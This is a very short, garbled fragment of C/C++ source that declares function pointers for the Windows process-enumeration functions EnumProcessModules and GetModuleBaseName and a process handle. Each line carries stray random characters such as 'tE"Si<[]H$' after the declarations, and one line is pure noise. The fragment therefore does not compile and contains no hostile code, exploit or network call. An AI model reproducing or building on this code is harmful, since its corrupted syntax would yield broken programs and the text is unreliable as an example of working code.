static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tE"Si<[]H$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .$rC0<G[K
ra6o>lI(,
HANDLE hProcess; >e&